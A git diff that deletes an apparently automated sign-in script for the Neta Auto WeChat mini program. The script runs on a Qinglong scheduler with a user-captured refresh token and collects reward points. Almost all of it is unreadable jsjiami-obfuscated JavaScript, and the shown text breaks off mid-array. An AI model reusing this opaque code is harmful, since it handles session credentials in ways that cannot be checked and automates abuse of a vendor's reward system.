"a/wxapp/\345\223\252\345\220\222\346\261\275\350\275\246.js" "b/wxapp/\345\223\252\345\220\222\346\261\275\350\275\246.js" deleted file mode 100644 index 4fbb5109..00000000 --- "a/wxapp/\345\223\252\345\220\222\346\261\275\350\275\246.js" +++ /dev/null @@ -1,23 +0,0 @@ -/** - * 哪吒汽车 V1.00 - * 仅供学习交流,请在下载后的24小时内完全删除 请勿将任何内容用于商业或非法目的,否则后果自负。 - * const $ = new Env("哪吒汽车"); - * - * cron 0 8,10,14,20 * * * 哪吒汽车.js - * - * 直接微信搜索 哪吒汽车,小程序即可,别下载app了 - * - * ========= 青龙--配置文件 =========== - * # 项目名称 - * export nzqc='抓包返回的refresh_token' - - * 自己抓包搜索 /registerOrLoginUncheck 返回的 refresh_token - - * 多账号换行或&隔开 - - * 奖励:签到转发得积分,一天大概五分,自动刷新token,小毛 - * - * ==================================== - * - */ -var _0xodq='jsjiami.com.v7';const _0x359a3b=_0x2b50;(function(_0x4415b5,_0x54edf4,_0x4f077d,_0x5a17e2,_0x1168b4,_0x49812b,_0x3e55fe){return _0x4415b5=_0x4415b5>>0x1,_0x49812b='hs',_0x3e55fe='hs',function(_0x69a95a,_0x5bf113,_0x41599e,_0x234e33,_0x366c54){const _0x478cde=_0x2b50;_0x234e33='tfi',_0x49812b=_0x234e33+_0x49812b,_0x366c54='up',_0x3e55fe+=_0x366c54,_0x49812b=_0x41599e(_0x49812b),_0x3e55fe=_0x41599e(_0x3e55fe),_0x41599e=0x0;const _0x11dc99=_0x69a95a();while(!![]&&--_0x5a17e2+_0x5bf113){try{_0x234e33=parseInt(_0x478cde(0x205,'qAHF'))/0x1*(-parseInt(_0x478cde(0x525,'1vMd'))/0x2)+-parseInt(_0x478cde(0x61c,'$IdN'))/0x3*(parseInt(_0x478cde(0x25d,')M[x'))/0x4)+parseInt(_0x478cde(0x26a,'j4ia'))/0x5*(-parseInt(_0x478cde(0x4fd,'od7T'))/0x6)+-parseInt(_0x478cde(0x285,'e52A'))/0x7*(-parseInt(_0x478cde(0x267,'oC5F'))/0x8)+parseInt(_0x478cde(0x2c1,'gkg]'))/0x9*(-parseInt(_0x478cde(0x1bc,'[@5v'))/0xa)+parseInt(_0x478cde(0x214,'0MRg'))/0xb*(-parseInt(_0x478cde(0x361,'8umv'))/0xc)+-parseInt(_0x478cde(0x24b,'[#yz'))/0xd*(-parseInt(_0x478cde(0x4d2,'4AWb'))/0xe);}catch(_0x257c7f){_0x234e33=_0x41599e;}finally{_0x366c54=_0x11dc99[_0x49812b]();if(_0x4415b5<=_0x5a17e2)_0x41599e?_0x1168b4?_0x234e33=_0x366c54:_0x1168b4=_0x366c54:_0x41599e=_0x366c54;else{if(_0x41599e==_0x1168b4['replace'](/[AKOVPRgpGHWMDCLhrYt=]/g,'')){if(_0x234e33===_0x5bf113){_0x11dc99['un'+_0x49812b](_0x366c54);break;}_0x11dc99[_0x3e55fe](_0x366c54);}}}}}(_0x4f077d,_0x54edf4,function(_0x25b336,_0x5bb531,_0x3cdd4a,_0x571f91,_0x3a35e0,_0x4064f7,_0x33b7aa){return _0x5bb531='\x73\x70\x6c\x69\x74',_0x25b336=arguments[0x0],_0x25b336=_0x25b336[_0x5bb531](''),_0x3cdd4a=`\x72\x65\x76\x65\x72\x73\x65`,_0x25b336=_0x25b336[_0x3cdd4a]('\x76'),_0x571f91=`\x6a\x6f\x69\x6e`,(0x14d48e,_0x25b336[_0x571f91](''));});}(0x184,0x684e7,_0x9673,0xc4),_0x9673)&&(_0xodq=0x2289);const _0xfa5a18=(function(){const _0x4e9a8d=_0x2b50,_0x1c8317={'jzSJq':function(_0x8d05f0,_0x14140d){return _0x8d05f0===_0x14140d;},'tjhtf':_0x4e9a8d(0x3bb,'nCuX'),'paGkj':_0x4e9a8d(0x194,'!g)^'),'OlCVV':function(_0x478bd9,_0x14d343){return _0x478bd9(_0x14d343);},'bfIol':function(_0x43f265,_0x3efe7e){return _0x43f265+_0x3efe7e;},'NApUX':function(_0x5454fa,_0x58fa86){return _0x5454fa+_0x58fa86;},'UAMeM':function(_0x3d38e3,_0x4b2c53){return _0x3d38e3+_0x4b2c53;},'IVbzr':_0x4e9a8d(0x36e,'qAHF'),'WJkbN':function(_0x58c1de,_0x8c233c){return _0x58c1de+_0x8c233c;},'HHora':function(_0x4abfa7,_0x24d844){return _0x4abfa7(_0x24d844);},'mVklc':function(_0x3f7c78,_0x4b3764){return _0x3f7c78+_0x4b3764;},'HTAPA':_0x4e9a8d(0x4cc,'^leF')};let _0x284ee1=!![];return function(_0x4d7704,_0x4145c4){const _0x445cf2=_0x4e9a8d,_0x5c11bf={'IRwlZ':function(_0x1d774a,_0x57a4dc){const _0x440bc7=_0x2b50;return _0x1c8317[_0x440bc7(0x420,'A6yu')](_0x1d774a,_0x57a4dc);},'XpgOW':function(_0x4b744a,_0xda338c){const _0x4b4948=_0x2b50;return _0x1c8317[_0x4b4948(0x17a,'VsQH')](_0x4b744a,_0xda338c);},'CTJoX':function(_0x30ab45,_0x3fd70f){const _0x5828c2=_0x2b50;return _0x1c8317[_0x5828c2(0x5ee,'VsQH')](_0x30ab45,_0x3fd70f);},'gCUwd':function(_0x379cc5,_0x44c801){const _0x492d1c=_0x2b50;return _0x1c8317[_0x492d1c(0x2d3,'e52A')](_0x379cc5,_0x44c801);},'ZkTjd':function(_0x3692f4,_0x3191bb){const _0x104c04=_0x2b50;return _0x1c8317[_0x104c04(0x336,']Xq!')](_0x3692f4,_0x3191bb);},'KyXJb':function(_0x19fca3,_0xade198){const _0x379d29=_0x2b50;return _0x1c8317[_0x379d29(0x3bd,'Q300')](_0x19fca3,_0xade198);},'QpuoO':function(_0x2a8cf1,_0x4f5e6a){const _0x23bbce=_0x2b50;return _0x1c8317[_0x23bbce(0x49a,'oNRx')](_0x2a8cf1,_0x4f5e6a);},'KmkfL':_0x1c8317[_0x445cf2(0x258,'NXvd')],'uGTjl':function(_0x3ff60b,_0x41a501){const _0x5d15f6=_0x445cf2;return _0x1c8317[_0x5d15f6(0x453,'n7BF')](_0x3ff60b,_0x41a501);},'jrsgy':function(_0x1b7d80,_0x29998d){const _0x5f0c58=_0x445cf2;return _0x1c8317[_0x5f0c58(0x634,'vIIW')](_0x1b7d80,_0x29998d);},'NSvGv':function(_0xcce1d9,_0x300521){const _0x520624=_0x445cf2;return _0x1c8317[_0x520624(0x4e8,'7xMY')](_0xcce1d9,_0x300521);},'RhpKz':function(_0x3188b5,_0x223671){const _0x1b2d32=_0x445cf2;return _0x1c8317[_0x1b2d32(0x2f8,'Pjwb')](_0x3188b5,_0x223671);},'HeVyu':function(_0x4711c9,_0x1122fc){const _0xeca5e6=_0x445cf2;return _0x1c8317[_0xeca5e6(0x44c,'Y&oW')](_0x4711c9,_0x1122fc);},'VgxYk':function(_0x5ca0ef,_0x402077){const _0x1e3dbe=_0x445cf2;return _0x1c8317[_0x1e3dbe(0x63e,'cM^%')](_0x5ca0ef,_0x402077);}};if(_0x1c8317[_0x445cf2(0x4d1,'cM^%')](_0x1c8317[_0x445cf2(0x360,'nCuX')],_0x1c8317[_0x445cf2(0x1c7,'8umv')])){const _0xd6a761=_0x284ee1?function(){const _0x59c362=_0x445cf2;if(_0x4145c4){if(_0x1c8317[_0x59c362(0x64b,'[@5v')](_0x1c8317[_0x59c362(0x483,'oSR]')],_0x1c8317[_0x59c362(0x54e,'Y&oW')])){const _0x3a3482=_0x70eda9[_0x59c362(0x59a,'j4ia')](_0x5c11bf[_0x59c362(0x140,'VsQH')](_0x164015,this[_0x59c362(0x434,'cM^%')]?.[_0x59c362(0x4af,'qAHF')]('.')[0x1])),_0x5e45bf=_0x5c11bf[_0x59c362(0x2a4,'oNRx')](_0x5c11bf[_0x59c362(0x34e,'!g)^')](_0x5c11bf[_0x59c362(0x451,'8umv')](_0x5c11bf[_0x59c362(0x462,'Q300')](_0x5c11bf[_0x59c362(0x383,'Y&oW')](new _0x4dc71e(_0x5c11bf[_0x59c362(0x5d7,'oNRx')](_0x4c5ff8,_0x5c11bf[_0x59c362(0x3e8,'j4ia')](_0x3a3482?.[_0x59c362(0x39e,'xal4')],_0x5c11bf[_0x59c362(0x2e3,'Q300')])))?.[_0x59c362(0x2d1,'Ljj7')](),0x1),'月'),new _0x39ded0(_0x5c11bf[_0x59c362(0x46b,'pY1!')](_0x48ff59,_0x5c11bf[_0x59c362(0x507,'PE3T')](_0x3a3482?.[_0x59c362(0x39e,'xal4')],_0x5c11bf[_0x59c362(0x34c,'od7T')])))?.[_0x59c362(0x5ca,'eudC')]()),'日'),new _0xd6893c(_0x5c11bf[_0x59c362(0x37c,']Xq!')](_0xf11c47,_0x5c11bf[_0x59c362(0x60e,'F[gW')](_0x3a3482?.[_0x59c362(0x4ad,'ag4H')],_0x5c11bf[_0x59c362(0x487,'1vMd')])))?.[_0x59c362(0x23a,'Ljj7')]()+':'+new _0x17ca79(_0x5c11bf[_0x59c362(0x29f,'ag4H')](_0x356e41,_0x5c11bf[_0x59c362(0x47d,'oNRx')](_0x3a3482?.[_0x59c362(0x25c,']Xq!')],_0x5c11bf[_0x59c362(0x4a9,'MruR')])))?.[_0x59c362(0x230,')M[x')]()+_0x59c362(0x48d,'ag4H'));_0x3bceba[_0x59c362(0x57b,'A6yu')](_0x59c362(0x459,'M#Hj')+this[_0x59c362(0x623,'Y&oW')]+_0x59c362(0x618,'7xMY')+_0x5e45bf);}else{const _0x595da3=_0x4145c4[_0x59c362(0x499,'0mD^')](_0x4d7704,arguments);return _0x4145c4=null,_0x595da3;}}}:function(){};return _0x284ee1=![],_0xd6a761;}else return new _0x24b3db(_0x52e445=>_0x2fbbe8(_0x52e445,_0x579ccb));};}()),_0x355c58=_0xfa5a18(this,function(){const _0x4b109b=_0x2b50,_0x295bf9={'SJOYs':_0x4b109b(0x3cd,'oC5F')};return _0x355c58[_0x4b109b(0x1d0,'oSR]')]()[_0x4b109b(0x3f9,'PE3T')](_0x295bf9[_0x4b109b(0x239,'MruR')])[_0x4b109b(0x153,'vIIW')]()[_0x4b109b(0x1e6,'!g)^')](_0x355c58)[_0x4b109b(0x36c,'cJCH')](_0x295bf9[_0x4b109b(0x49c,'$IdN')]);});_0x355c58();const _0x2e1682=new _0xc82324(_0x359a3b(0x5df,'4AWb'));let _0x5903cb=_0x359a3b(0x301,'z**A');function _0x9673(){const _0x3e11e6=(function(){return[...[_0xodq,'LjWsjGAiCAHaHmiWD.OcVgoRmt.POpvM7rYKWhRW==','bmkvW7FcRfu','icxcLqDr','kCkUWRRdO8oC','iW3cHrjkW4X5W5VcLvXNnG','jCkzia','FwH8pIS','W44aW5VdNcHHkmkUASkkW7JcHq','W4eIFcldMmkkASosW5ini0K','ymktr8kirq','cctdPa','jCkkWPVdSSoP','W54/tYtdHG','W4ZdI8o9WOiFAxJcMmkBvHVcPZDGW6NcQ8kvj+s5MowjP+MBOEwiGoAFRUw5P+wSMUAUV2PFt8okFgFdPCojuSkPBmkhk8ofWQGVvq','WQ/cUSkIW5HG','W73dIgddTeu','qCkwzCkHyW','qw7cP8ocWRxcQIvtbConW54','W7NdTHPJBq','W7BcQmkAq2iMW7G6sCo9WRqZo0pcVhFcQCoKnfBcQSkdcSolW4NdQSkccSkLBCkMgCoeWRddQmovW53cK8kwW6WyxuddM8o8WODwWOhdNa','ESolW5Thjhi','WRpcGSkMWOC','wtxdP3tcPG','BNTKlJW','WPtcMCoEWRDL','WPVcV8oS','WQhdT1P3mq','aSkMqfpcQLSJ','qevsoZK','W4SCW63dQcDRpG','W4W5vSkO','WO/dQwRcImogl8kT','qgtcTSo0WQK','aSkapf9J','5ysm5OMf5yU0','WQ/cI27dImkT','6lEr5yYNW5a','BmkZySkpr2T0BSoU','6lsw5y6SW5G','W4euqmkUeG','kZjvW417','omo1EaGoW5JdSq','WR/cUXTzW6a','WRJdVLvGnq','cZZcKrTJ','CqLujvu','hCkXW6ZcUMJdNG','va7dI0pcKW','WP7cVSoVWRLt','aSoEn8kNza','W47dVfRdLLW','WPBcOh3dK8k7jmkfpYSwWORcRq','5zk65zkc5RgK6lYk','WQpcMmkKW7bm','W5pdQZTv','W4qmtmktcG','WPpcSCo/WR0','W6tcTCkRCvC','AmoNW6LxfW','W73dRCk2W6ewls3dLmkZp8kRWRXuWPWLjoApQoMbJCoNW7xdLSkiW7BdPSkbW6/cVSkCWPZcGNP8bq','DWVdLvdcQq','WRFdOmoaWRG','6lwB5y+mWP8','W7fZmwJdJW','WPFdGs58lqddHG','jmoIyqOG','WRRcG1xcQZuXhCoUymoDW5OXW4a','p8kvW7lcIeq','EmkXbmkUEq','W7nlWR3cPNVcTL8','WPpcLIz7W5i','WOldGSkyCSoY','a8k9dLri','cvRcTXtcO3BdQa','W5naWQhcRum','5l2/5AY35Ps75lMR5PAW5y+u55w56zEy6k+X77+5','bCogW5lcJG','WQJcN0NcOq4GgSoSBmo9W5WDW4BdIfiFWORcKbW','xcJdVwpcGq','x1NcOCo3WOm','WQlcL8k0W54','W6iJDaNdGa','FCoHW4CbuG','WQ/dQwRcGmosomkJW5pdK1zY','qdRcIIe8','WP/dR3xcGSoo','yKBcMSoCWRu','oCk357Mr5PYY5PEm6zEZW74','WPpdRSk7Eq','WR/dG3r3aXK','vSkWW68SrG','W7XAWR3cKMNdUbxdTfhdM8orWRffaLCFW5PpbSoPwmksW5XZmu0rvCoaW64HW53cVCkhW6tcVmk8W47cPLFdKSo7WRXCkthcMZj6yCkbWOK6W5ZcQSk4eutcMeNcPmkCWQZcJ3JdMG','WRJdVJeDseNcGW','m8kTWR7dHCoGWQ3cSuFcRCo3WPRdNW','kCknWR3dR8ol','WQpcK0pcRcafdCoU','W61mm2ddRSoPW7P7WOldMWpcKq','lmkYWRxdRCo6','W4qLW5vxWP3dRv0','WQ3dJd9tmG','W5GKW6O','pINcKCkCuSo3da','WQFdRa4bxG','WO7dVSk7ySouWOuZ','emkKW7lcSxNdGG','tSkgq8kbBG','W4eIFa','WQFcKmkPWOHRn8obWPZcRWhdHG','W5SMW7FdUWW','W7bT5yIS5PEt55Un5B6754Qs5Ok85OQ25yU7zq','WPFcOg/dL8k/oW','rqpdMwRcGq','WONcOh/dImk/aSkFbW','wCoJjrldQ1eOWQPoW77dKW','W7fgi0ZdRW','gepcTbdcKhldSG','W4K3W7jd','ySkDW4q','W70ABZVdVW','WOVdVSkPDCoqWPaL','d8ohW5lcJSkE','W6WusCk6bW','WR7dK2vRgX0w','WQ/cHCktW4PqmYa','W6tcJCkVqv8','WQhcJXFcRG','W5ioW4/dRJfQfmkL','dmoVW4pcMCkr','WO3dUSkLDa','EsLmnhK','qxaIW6i0EeLUBCknEKnjtJK','FSoYW7y5u2RcUW','6lAe5y6yW6C','u8o9W6xcK8oqWOvx','WRZcK0hcTYqJf8owASo4W54Y','W64PW6VdPby','wSkdW6S+EG','BmkcW7Cwza','zSoO5yQR5PEe55Mr5BYh54M55OcG5Awc6lEO77Y/','pCo6k8keAW','56Yp5yQ45OM15yMu','aCo9fSkJ','hLtcObO','oWTkW7iP','EmkNW7iatZZcUWWNWRrvEG','ubRdL2BcHq','WONcOgJdKSk/mmki','nMtdP1aU','zCorW54','W6RcTmklxq','nchcHa','WQFcMcfdW6W','BmkuWOVdLSoBWOtcS8kyWQ7dRSkvW7S8W79u6lEN5y2SWQW','mdBcG8k9CW','W7ldGSoWWO4Bz3xdRCoohNpdJxS','DCo4W5qOuq','W7bHWQhcReW','FsXthNC','W7NcS8kA','x0a2fCkrgupdHmkkWONdSHrwWQVdGLFcMYeBi8ofW67cV8k+tCkUWRuUW5pcG8oWjmkb','W47dQeldL2W','WOZcG8klW5jP','aComW4lcJ8khW43dRW','mCknify','6lEQ5y2btq','WRZcRcpcIv0','W5XNWRJcJ3e','WQtcKGG','pSk4WQ7dLSoD','WRhcV8oUWQzc','ue/cHmogWOq','WR3dGs5QlqdcLq','WR3cJWdcU0uWwmkazSka','m8o4W47cVCkJ','vCodW7e/FG','WQJcUIjMW58','yWBcUaeg','v8kNW7S','d8k0z0C','omkgW7xcSuy','aSoyW4BcImkC','aGvqW6CC','ntTZW7y','fHdcOmk6uSoh','WQddMxfthH8BuCoGAey','WQFdSWvUoG','6lsb5y69WOG','W4qzzmkZnq','W58OFrhdK8kDtmoIW5illLxcJG','uSo2W6dcKSon','qZldPh8','eSkYxh/cVW','xe/cQSoCWQO','WRpcPCk0WRb5','mvtdMwyP','WPtcLx7dQmkr','WO3cPWXsW5fBWRu','W4mJW6Po','t8kNW48awdVcOuy','W4bqmxFdIG','W4eRCCk8iSoTta','W4TrnLtdSG','W4KSBWi','WRZdO8oEWRZcG8kW','WP7cTmkoWRru','W7hdV0ldKe4','xXdcUtei','wmkNW7Gr','WRpdUrOAEa','WOm8W7vnWOe','EmkzlmkutW','ttZdNvFcKgft','uCk7W7mAgchcU1m','W5NcUSo4WRnf','zSkLamk0Aq','BCkJfCktuG','WOZcREwjLEAxMoEzGEw9U+EjKoAaJEwNN+I2Jo+8JG','qmoaW5C3Eq','BNrThJq','iXbnW5fY','W4lcMxiLDu/cImkHgtXkWRtdUNrIWQ9RW6jmWOHKi1pdKCo5W47dS8oLzq3dI+wfJ+wqOmkdW7T1WP9eBHXahmkEE8oNW6/cHu1wW7ezeqqkWOhdOmoshLX/W7BcGZRcTMFLRjNLI6JJGAxLGQVMK6/JG4RMIAJNQi/cMoIaRoEXTulcGNRVV73cNaLSwrdcQK/cNwZdLmkf6isa5P2y5PML5Pwo5z+d5zYZ77YTW5JdMu1epSoKW55uja0LWO7dLSkMyx4lrHeToCkeWPPMWQVdKCovWPPwWRFdHWSSpHldGSkPxcJdOI3dNmoxEoEyTEAmP+w/M+s9JUAsPEE1PSkp5zo55zgZ5RgT6lYc77YW5Bgw56Us5BI/5y+W5y2y776k5lIc55A95lMA6l2zW7NdU1xKUliEgmkzW4hcJWpdGmoWDCk8CCkwASkfW5Stxr5DWPmGWPNcJwXYW7WLWQ7cItqsErv0WRtdN2/dSmobW4i7vIKZzreDAu13W7hcHCk4u8koW7ZdQ8kTp0b9WQJdHtXZWPFcVcZdQrJcSqG','WO3dHtHklrtdH8o5v2KJW6BcRcWX','WRddRSoqWRW','jqVcKIrCW5XjW4hcNKq','WOdcOx3cQsG','xCoBW6KEBq','Bmk+W6NdUmk6WRxdJLtdQW','yhT3oHK','W7C6vatdOq','xCo1W64LFG','E8k1wmo2o+w4R+EwP+AoT+ENSU+8RUAvH+wmOUEwSoI3L+woJE+8KUIUTUAJQ+ACIoMhPUE+Jr9XBSkMW6KOpqxdJmk8DelcVUs7U+wlM+E7TUACJCoWfuxcUCodW60xW5lcLf3cNKBcISoXWQVdIKO','W5BdS3/dUxij','aSkHiLTn','rmk35PQ356ADgG','WRhdGc5qdq','BSoBW41Gow0p','WRVdL39W','e8kYW4VcSNa','WPxdQaPAiq','fY/cOmk6xq','AufseGe','i8o+h8kbtq','WOJcQNW','sCo9W6lcHCoqWOrmWORdSmkEWRFdISov','WOtdO3NcJCojp8kgW4xdQuP5W6W','oG/cQtbo','md3dQ2ja','wsJdJxtcU0pdNdZdL3C5fbO','DKzmhWa','W489vSk/mCoM','jSkyjL5uW78eW4ldMq','WRJcJGdcV04','W5tdQZfE','WOZcREw9OUwMO+AjNEIHOSog5OQX5AA45lMs5yQ1WQOLteSoW4VcMMpcHH7cRLHo','WOBcQGXeW7vD','ufKLeSk2g0/dLq','cmom5P2+5OMj5yIk5y235y6V5lQQ55IK5RsO5yIX772n','dK/cTHBcJghdQdFcKq','W4BdRHHyxa','WOBcOCo+WOXS','WPNcSCoMWRK','WO3cQ2JdLCk/oCkodG','nmofut4M','WQtcVmkOWRLl','W545tSkGna','WQBdJmkhrSoI','W4m3W6Th','WQdcRhhdLmk7','WPBdT3jVaq','WQ/dL2jNhW','W48wW6JdMIS','W4uEW7BdMIK','t8oQW63cMCog','EefubXO','scddR0BcHMDcxq','WRJdOWynqG','W7zxWPpcLxe','W6Lah3NdRq','zL5XeHZcTa','BSorW40','vKzBmHG','W58CW4XKWQS','fComW5JcJW','WPBcTH9FW5PoWQ8pWOC','jXBcKHjxW5S','lXxdKfv6','C8k9hCkYDtS','WRJcRd3cU1q','W4eRCCkGn8oKtmo/','xmkTW6GGqZ/cQG','fqxdKvrj','uJxdJeFcTG','yCkdjSk4sa','WOlcHY7cNfK','WOFdJhTcpa','xmo9W7a','B3WUh8kp','W5qJW4jiWOC','u2BcGmodWPm','Dx/cSSo8WRtcNtTyjComW5lcJCoVjCodWPS','itv0W6m','W7XAWR3cKMNdUbxdTfhdM8oiW75waX8hW5rCqmoJhSkuW5O5i18waCkmW6fRWPZdMSoDWRxdUmomW5/cUvJdMSo7WRPjlslcJYnLCCkSWPaYW4ZcUmkIev3cJvRcH8kcWR3cR3/cI8oZ','qmk5D8kurgah','WPxcOLBdRxG+WQWa','WQRcIKpdPSk0','W5STqmk6jmo4','Cmo5W6yiqG','WQpdIcmRyG','bmkgh1nn','BmkMc8k6AdrWq8oPCq','d8kaw3tcLq','mdRcGmkBCCoGbmkOWOyRWPzWW61hWQ3cPG','WRZcJt3cNNi','vSo0W5FcUmoB','nw/cHs/cOW','vI7dOeBcJwS','wv8Y','heJcTXBcHwG','xI3cNcS2','WPBdK3bZba','xqv2cvK','is90W78','5Bws56+85yMS','WQFdRSoNWQ3cKSkTg8o5','WPpdLxLQeqiu','nJvZ','hCk7W6u','l8kTWQRdSa','WRdcKbtcTL87zSktASkBaw7dQSo/WOtdVW','aSo1FX4oW5NdQSk3wtKHFq','wvuYnmkrffFdHmkgWPu','WRRdVa1OmG','d3ZcKGxcKG','wI3dPL/cIG','sfeQemkC','WP7cVSo4WQHkFNpcJa','W6JcR8k2wxm','yCk9hSkOvG','W5aoW5ldUsLO','ExLloZ0','tItcTr0ysW','WPdcTCo/WPfeFMtcGq','a8opW4lcOCk+','gCkXW6pcUxNdHdi','W4e5W6e','WRlcNSkRWO56a8oBWO3cKaVdJq','W6rBpvu','FCooW7ioxG','qbbjkhm','mSk4W5VcPw4','r1CjimkF','WPpdL3vWhH0ACCoWwKdcMcn3WPKO','hCoNaG','F0jocq','WRJcKYJcTvK2','WRRdR8oqWRZcMa','C17cSs1wW6PdW4q','WQZdJmkrE8oq','C8k9hCkYDtTgvSo1','W4tcLCk0vvm','ECo+D8kuvxTeDSo5WR3cLv5uWO4','WPFdKdTOo0JcMSkZrxeEWQFcPce6W7OZWQuzW5X3FqddG8kSWONcOmkID1hcM1m1W43cOZ/dVqa2qa8oW5aJWRBcT8oBbd/cUvzctvBdNSkXWOPVcaBcOSkCBSoJh8oTWQOfWR47WQ7cTftcHq','WPhcLUA0REwkRfC','ctJdPa','WOxdQxRcPCogDSk9W5JdSq','6lsV5y2jW6i','WRZcKLBdPSkX','WQNdJMy','6lE35yYgWP4','E8oBW4Pe','hNZdG3KdcG','W71DWOFcJx7cPW','r8kMf8kPwa','W4q+sHBdL8kaFa','k1pdVK8O','WRxcNSkVW4HpjYi','m8o7wCoSvdTbACokBW','WQpcLmkKWPLigmocWOVcTX3dKwS','WOlLVA/LPBFOVy3OOiRVVj9S','oCkUWRBdQ8o8','WRJdHSoXWQVcJG','WP3dUhJdTa','vdRdUG','WRVcMepcOcC5eCoNyq','oghcGrpcOW','xCoP5B2V5Asq5OM86kcqd+ETJUwkVos7VUwiH1fVcHSwW6K5FK8kWPJdRZa','WOldVdijyG','WPdcRhBdHmkXiSkz','W4NdRdHErW','CmoKW5eysgdcUW','smoWW6VcGmoyWOrd','fxZcVXddKZ9Jw17cKCkrkG','kmoGW73cQSkX','W7O1zSkFpq','W7fvegddKW','WRZdOKbbmq','W4ynqmkdfG','WQ3dJmksFCoC','ptBcK8kZACoHlSkgWOC2WPHD','kmk6FvlcVviYW49GW5/dN1RcG3C','W5hdOh0','WQ9jj07dRG','lmknr1hcQa','mMZcIqJcUG','nbHWW49h','WRJdVIWhxKS','5Bsx56685yMD','W4nIWPZcMha','C1VdLeqoWOLXW4tcL2DacG','WQpcHmkYW5bq','FCk7W7a7zq','W6FcQ8khvfK','ptvJW7zfWPNdPspdSCkT','WOdcUGHv','nrZcJWnCW7LpW4pcN2r7nNi','WRZdGuzfmW','vc5g','WR/dQh3cOmoX','W4SMtY/dOW','omkNWQ3dICoNWQFcILZcVmoT','W503W7rrWOO','f8o1BsaEW4NdQCkAEcCP','FCoZW6avBG','quLCnty','WQNdMhjlgq','mmk3W7VcVM4','WQFcMftcSsa+hmoN','xmo9W7dcGCouWPS','W7SsBCkqiW','bdL0W4W0F0X8','WQpcLmk2WPjIb8ol','FCoUW7VdT8oTWQBcJu3dU8kKW4xcN8oybSoVb8onW5xdVCkRDh4bF8oRy8kW','W4yoW4JdVa','5lIJ6lAy5y2o','WQRcMCkN','fSoiW4tcMmkd','ACkNc8k+yW'],...(function(){return[...['iW3cKH5pW5PcW67cJ0nQdh7dLh8v','W7tdJSkhW7ffbG7dHG','hNxdS1TWWPrfqmkQW6hcOCkwW4i','of3dQfK','W4pdT2xdKhqkWRW3W5eQ','6k+l5y6n5Pse5lUN5PsO5y+255Ar6zwa6k2p77YF','y0jA','W7mlW7BdJZm','WQhdRbaBxW','W7JcGIy1tLHdtCoHChBcOdW','WQddOg7cQCoX','sCkTW6WysZhcQG','6lA45yYRWRu','WO3cOfldTSk5','sYjOfMS','WOlcQxtdJSkS','W6/dLrfmzW','hSk7W4/cMuS','kxZcQaJcTG','WQtcSflcTZy','xmo3W7a','uSoPW43cK8oT','W6S5W57dPZq','fSkXW7BcIxxdMYq','v8o3W6pcTSoBWPnQWRRdSmkyWRRdLG','W7dcVCkdvG','WRtdTri','BCo6WP7dISoPWPVcTeS','zKnzgaS','nmoXBq0','6k6k5yYc5Psf5lIR5PEQ5y2N55wE6zwb6k+y77+7','W7LlWRRcKxVcPv8','yCoOlHVdPqf7W58rWOFcJaddIIldGUI2U+wnPSkj','yCkOkXyXW6NdP8kwzq','F8kDW64QAG','fd1PW7a','nJ9ZW6fxWP0','WPXJWRqrW5JcVg9ComoSgK8','zgP1gIq','WRRcMxlcTte1dCobzmoGW54','W6ddKdpcGfKnySkm','otZcLCkwySo3eW','ocRcP8khDCoIbq','W6RcUCkDrW','WR3cNSkI','iI51W75yWPBdKZBdRq','vSoOlHVdPqf7W58rWOFcJaddIIldGUEXPUE5JUMdIoEEKCk3fCkgW7ddPtOafmkHrmoPW7hdG8klnW','WOJcQCkvWRnR','WOBcPhldQSkD','W5PAWORcO3m','WR/cMIBcU28','W4mIBWRdKmkxD8ojW5q','WRZdIbzGoG','FCowW5XA','b8oWW6BcImkH','WQBdKhfZoa','z8kSg8k/EIHo','wmoNjrhcL1SOWRTQW5a','WPFcPWTeW5fAWQ49WPhdGhdcSa','CuaPdSkq','W4JdQMzwuHRcJSo9cdi','tItcTXCP','W6xdMH5lrq','hfFdMx81','rtBdN0/cJq','W67cVCkCqhq','q8kPW7adAq','awpcSwVcHgtdQYZdSW','FbNdM1BcTq','W4q3rCkipSoUz8o0zZpcGIW','aCoebmkkyG','W7JcSmkbxgm','bYdcQtj3W6S','n8o1BrOkW4y','tXJdMhxcHq','ESoBW41qmxql','WPxcGmkIWRvL','aSkMx0NcT1i','W4igCbtdHW','Dx/cSSo6WRxcUG','WONdHeFcLCom','WQpcK1xdGSkC','DGdcNci5','rmktW6WUFW','cmk6D0m','l8kJWQVdT8oR','oGFcPt94','WOBdTCk+','WQlcS0/dQCke','W6zlWRNcJNVcOv8','ASkqCmkIBG','ESouW7Drhq','jZ/cPqzP','WQ3cPZTpW4e','pmk8W4tcL3u','W5xdTc/dHSkXjCk0lIy','Afqwk8k1','fmkSW7lcSM7dGJi','gH7cGtHU','scddQwpcJgj4u0dcVmkXja','W7KOtc3dPW','pmkcmfjc','WRNcPqFcJwe','W50gW6nRWQa','tCkRW5GWwa','W6zpWR7cSh/cPeJcVKpdG8oSW7bnd1W','WPBcOhRdHCkypSkbdHCeWOhcOa','WOtcOrLFW4jmWQiOWOVdN33cISo5nCkykG','kGddJK1B','W48kW4/dRIDIaW','hfFdUgK+o8khW5vShCoQ','W4K5W5jdWPZdOq','WRhdTCoCWPdcMG','drpdL1bU','W73dQ8ohWRBcJG','vYRdUNtcG2PdwxlcUSkLfSkOBa','WQJcMfdcTYu','CxNcUSo6WQxcJYDglSoRW4RcGCoG','zSkxW4i/wWpcMa','W4WLW7vlWOJdPa','WRJcN8kHWPH2','jSkjiefBW7q','AgRcVSoR','DCk9f8k8sa','5PwH5PwR55UqsCo0W7NdHoAwREAWO+++Qa','WPNdIcb3oG','W7SfW7VdJsi','WRqqBbpcUCk7WODGWPldHchcHmoe','W4BdSrP/xa','Dx/cOCoNWQ7cRIDmmG','WRRdSSo6WRBcHmkH','W7TBWRdcO24','W4FdPYH2ue7cICoM','WQFcMepcOdK','hSkHDr4','dZnNW4u1BNbGA8kasfu','WQpdOmoqWORcLmk2','BCk9W4uFsq','W5ioW47dRIm','W7/dPXehva','vZ7dT1ZcT0K','WQNcK1m','WQtdS3vtia','bdL0W4K0zePN','ssRdVvhcG2ft','FHRdS0tcHG','vIRdQfdcH3vEAfVcVSkYmW','WRJdNNnQ','emk3W7BcTgRdKYuzqSkvW7vuvmkRkSku','leldOv0+','CCkOWQRdQ8oG','m8kjgLnd','wSkRW6GDxdFcQ2agWRLns8oVbCoFW44','WQFcHxtcRcy+gSoM','W7BcUCkpv3rUWQq','WP7cVSoVWRLtx3y','ebhcUmkara','fSoMtsqX','WPVcPSooWPzI','6lsG5y+8WOG','WPddLcP2zqFdH8oW','W59dWQlcHfy','hrVdTNvv','aJdcK8kCtSoR','WQJdR2zNeW','jtJcH8kzrSo1cq','vdJcHZuH','WONcNSkVW7LO','W7OGW5